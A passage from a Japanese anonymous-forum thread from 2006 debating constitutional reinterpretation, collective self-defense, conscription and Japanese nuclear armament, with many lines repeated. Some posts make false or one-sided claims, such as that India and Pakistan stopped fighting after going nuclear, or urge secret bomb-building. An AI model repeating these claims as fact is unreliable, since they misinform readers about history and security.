>>178
国際法学における有力説である「等位理論」によれば、
そもそも安保理決議と国内法が競合乃至抵触することがない。
安保理決議は国際法の側面では当然ながら国内法に優先し、
国内に義務履行を求める安保理決議（執行指示）は国内法（特に憲法）には
優越しない。
仮に国内法を優先して安保理決議の履行を拒んだ場合、
日本政府は国内法上平穏を維持しつつ、国際法の側面で国際法上の責任を負う。
この点から、等位理論は、いわゆる国際法国内法二元論と同じ効果があるとみなされる。
詳細につき山本草二『国際法』参照のこと。
国際法学における有力説である「等位理論」によれば、
そもそも安保理決議と国内法が競合乃至抵触することがない。
安保理決議は国際法の側面では当然ながら国内法に優先し、
国内に義務履行を求める安保理決議（執行指示）は国内法（特に憲法）には
優越しない。
仮に国内法を優先して安保理決議の履行を拒んだ場合、
日本政府は国内法上平穏を維持しつつ、国際法の側面で国際法上の責任を負う。
この点から、等位理論は、いわゆる国際法国内法二元論と同じ効果があるとみなされる。
詳細につき山本草二『国際法』参照のこと。
なんだかんだ言ってもさぁ、このスレにも居たような改憲派の見解は、現実にそぐわないんだよね。
2006/10/11-13:09 集団的自衛権、憲法解釈変更も＝個別事例研究で部分的に行使容認−首相
安倍晋三首相は１１日午前の参院予算委員会で、集団的自衛権の行使について
「（個別事例の）研究を行った結果、それはわが国が禁止する集団的自衛権の行使ではないという解釈を
政府として出すということも十分あり得る」と述べ、行使を禁じた政府の憲法解釈を変更することで、
部分的な行使容認もあり得るとの考えを明らかにした。自民党の舛添要一参院政審会長が
「旧来の解釈変更はあり得るか」とただしたのに答えた。
http://www.jiji.com/jc/c?g=pol_30&k=2006101100461
2006/10/11-13:09 集団的自衛権、憲法解釈変更も＝個別事例研究で部分的に行使容認−首相
安倍晋三首相は１１日午前の参院予算委員会で、集団的自衛権の行使について
「（個別事例の）研究を行った結果、それはわが国が禁止する集団的自衛権の行使ではないという解釈を
政府として出すということも十分あり得る」と述べ、行使を禁じた政府の憲法解釈を変更することで、
部分的な行使容認もあり得るとの考えを明らかにした。自民党の舛添要一参院政審会長が
「旧来の解釈変更はあり得るか」とただしたのに答えた。
http://www.jiji.com/jc/c?g=pol_30&k=2006101100461
解釈改憲で穏便に済ませる方が間違いがないし、改憲反対派にも配慮できる。
その上、面倒な憲法改正国民投票による出費もない。
自民と民主で国会論戦なんかやったらせっかくの憲法がぐちゃぐちゃになりかねない。
いろいろ考えたら、消去法で解釈改憲がマシということになると思うけどな。
その上、面倒な憲法改正国民投票による出費もない。
自民と民主で国会論戦なんかやったらせっかくの憲法がぐちゃぐちゃになりかねない。
いろいろ考えたら、消去法で解釈改憲がマシということになると思うけどな。
現実問題として、憲法改正なんてする時間的余裕がないから、仕方なく“解釈改憲”で乗り切ろうという腹積もりなんじゃね？
184 ：氏名黙秘：2006/10/12(木) 18:32:56 ID:3NDYUJaK
非武装中立が、もっとも、現実的だ。
どんなにすばらしい軍隊持っても、完璧ではない。
完璧でないなら、その費用が無駄。
その浮いた金で、国際貢献すればよい。
どんなにすばらしい軍隊持っても、完璧ではない。
完璧でないなら、その費用が無駄。
その浮いた金で、国際貢献すればよい。
スイスは徴兵制だろ
＜日本核武装論＞米大統領初言及 国内議論けん制の可能性も
ttp://headlines.yahoo.co.jp/hl?a=20061017-00000051-mai-int
ＮＰＴ脱退しない限り日本は核をもてないんだがな・・・。
ttp://headlines.yahoo.co.jp/hl?a=20061017-00000051-mai-int
ＮＰＴ脱退しない限り日本は核をもてないんだがな・・・。
非武装中立なんてことになったら、創価学会が武装蜂起して
池田国父の治める創価王国ができあがるよ。
池田国父の治める創価王国ができあがるよ。
そんなことにならないように
自公政権を打倒しなくちゃね
自公政権を打倒しなくちゃね
安倍ちゃんヘタレ杉ｗ
武力行使はしないのかよｗ
武力行使はしないのかよｗ
>>187
スイスみたいな武装中立は良いが、男性にだけ徴兵制を押し付けるのは不公平
イスラエルみたいに男女とも皆兵ならまだしもね
俺としては、核武装をして志願兵で今の自衛隊で十分だと思う
核保有国同士が戦争になったことはないからね
インドとパキスタンも核保有してから紛争がなくなった
米ソ冷戦も結局、キューバ危機を乗り越えて、平和裏に終結した
北朝鮮問題は、少し時間がかかるけど、日本・韓国・台湾・北朝鮮・中国・ロシア・アメリカという
各国が核武装して恐怖の均衡を形成し、金正日が死んで北朝鮮が崩壊するのを待つしかない
スイスみたいな武装中立は良いが、男性にだけ徴兵制を押し付けるのは不公平
イスラエルみたいに男女とも皆兵ならまだしもね
俺としては、核武装をして志願兵で今の自衛隊で十分だと思う
核保有国同士が戦争になったことはないからね
インドとパキスタンも核保有してから紛争がなくなった
米ソ冷戦も結局、キューバ危機を乗り越えて、平和裏に終結した
北朝鮮問題は、少し時間がかかるけど、日本・韓国・台湾・北朝鮮・中国・ロシア・アメリカという
各国が核武装して恐怖の均衡を形成し、金正日が死んで北朝鮮が崩壊するのを待つしかない
２０年後には日本は徴兵制になってると予想
>>194
２０年後なら、俺は関係ないからどうでもいいなｗ
２０年後なら、俺は関係ないからどうでもいいなｗ
日本って、技術的には十分核兵器作れるんだね。
ttp://ja.wikipedia.org/wiki/%E6%A0%B8%E5%85%B5%E5%99%A8
あとは、憲法だけかぁ。北朝鮮怖いよ〜。
「もんじゅ」の研究者たちが、こっそり作ってくれないかな。
そしたら彼らはヒーローだ。
ttp://ja.wikipedia.org/wiki/%E6%A0%B8%E5%85%B5%E5%99%A8
あとは、憲法だけかぁ。北朝鮮怖いよ〜。
「もんじゅ」の研究者たちが、こっそり作ってくれないかな。
そしたら彼らはヒーローだ。
戦力の不保持に抵触するかな、ってちょっと思った。
でも、民間人が作って国が没収する分には問題ないのか。
でも、民間人が作って国が没収する分には問題ないのか。
はい。最低限度の実力でしたｗ
政府見解なら格も最低限度の実力と解せば合憲。